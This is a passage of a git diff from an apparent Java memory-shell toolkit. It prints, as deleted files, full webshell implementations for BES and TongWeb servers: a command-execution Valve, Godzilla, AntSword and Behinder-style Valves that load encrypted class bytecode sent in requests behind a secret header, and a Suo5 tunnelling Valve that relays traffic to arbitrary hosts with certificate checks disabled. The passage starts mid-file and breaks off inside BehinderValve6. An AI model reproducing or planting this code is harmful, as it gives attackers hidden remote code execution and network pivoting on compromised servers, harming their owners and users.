{ - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java deleted file mode 100644 index 3eee4c53..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java +++ /dev/null @@ -1,62 +0,0 @@ -package com.reajason.javaweb.memshell.bes.command; - -import com.bes.enterprise.webtier.Valve; -import com.bes.enterprise.webtier.connector.Request; -import com.bes.enterprise.webtier.connector.Response; - -import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - */ -public class CommandValve implements Valve { - public static String paramName; - protected Valve next; - protected boolean asyncSupported; - - public CommandValve() { - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - this.getNext().invoke(request, response); - } - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java deleted file mode 100644 index 1839e95a..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java +++ /dev/null @@ -1,136 +0,0 @@ -package com.reajason.javaweb.memshell.bes.godzilla; - -import com.bes.enterprise.webtier.Valve; -import com.bes.enterprise.webtier.connector.Request; -import com.bes.enterprise.webtier.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaValve extends ClassLoader implements Valve { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public GodzillaValve() { - } - - public GodzillaValve(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/suo5/Suo5Valve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/suo5/Suo5Valve.java deleted file mode 100644 index 82276566..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/suo5/Suo5Valve.java +++ /dev/null @@ -1,595 +0,0 @@ -package com.reajason.javaweb.memshell.bes.suo5; - -import com.bes.enterprise.webtier.Valve; -import com.bes.enterprise.webtier.connector.Request; -import com.bes.enterprise.webtier.connector.Response; - -import javax.net.ssl.*; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - */ -public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - protected Valve next; - protected boolean asyncSupported; - - public Suo5Valve() { - } - - public Suo5Valve(InputStream gInStream, OutputStream gOutStream) { - this.gInStream = gInStream; - this.gOutStream = gOutStream; - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - String contentType = request.getContentType(); - if (contentType == null) { - this.getNext().invoke(request, response); - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - this.getNext().invoke(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Valve p = new Suo5Valve(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java index 8cde20ca..5a29e2da 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java @@ -10,7 +10,6 @@ import net.bytebuddy.utility.JavaModule; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; -import static net.bytebuddy.matcher.ElementMatchers.any; import static net.bytebuddy.matcher.ElementMatchers.named; /** diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java index d76f6821..382c1a08 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java @@ -1,15 +1,9 @@ package com.reajason.javaweb.memshell.shelltool.antsword; -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.IOException; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; /** * @author ReaJason diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java index 0023a523..d1f863d3 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java @@ -2,11 +2,7 @@ package com.reajason.javaweb.memshell.shelltool.antsword; import net.bytebuddy.asm.Advice; -import java.io.BufferedReader; -import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.HashMap; -import java.util.Map; /** * @author ReaJason diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java index c525c841..b59389ba 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java @@ -1,12 +1,9 @@ package com.reajason.javaweb.memshell.shelltool.suo5; -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; import javax.net.ssl.*; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.*; import java.net.*; import java.nio.ByteBuffer; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java deleted file mode 100644 index 2d07ae04..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java +++ /dev/null @@ -1,99 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.antsword; - -import com.tongweb.web.thor.Valve; -import com.tongweb.web.thor.comet.CometEvent; -import com.tongweb.web.thor.connector.Request; -import com.tongweb.web.thor.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -/** - * @author ReaJason - * @since 2025/02/18 - */ -public class AntSwordValve6 extends ClassLoader implements Valve { - public static String pass; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public AntSwordValve6() { - } - - public AntSwordValve6(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public String getInfo() { - return ""; - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - @Override - public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { - - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java deleted file mode 100644 index 96d2e654..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.antsword; - -import com.tongweb.catalina.Valve; -import com.tongweb.catalina.connector.Request; -import com.tongweb.catalina.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -/** - * @author ReaJason - * @since 2025/02/18 - */ -public class AntSwordValve7 extends ClassLoader implements Valve { - public static String pass; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public AntSwordValve7() { - } - - public AntSwordValve7(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java deleted file mode 100644 index 8c70f130..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java +++ /dev/null @@ -1,144 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.behinder; - -import com.tongweb.web.thor.Valve; -import com.tongweb.web.thor.comet.CometEvent; -import com.tongweb.web.thor.connector.Request; -import com.tongweb.web.thor.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.IOException; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderValve6 extends ClassLoader implements Valve { - public static String pass; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public BehinderValve6() { - } - - public BehinderValve6(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public String getInfo() { - return ""; - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - 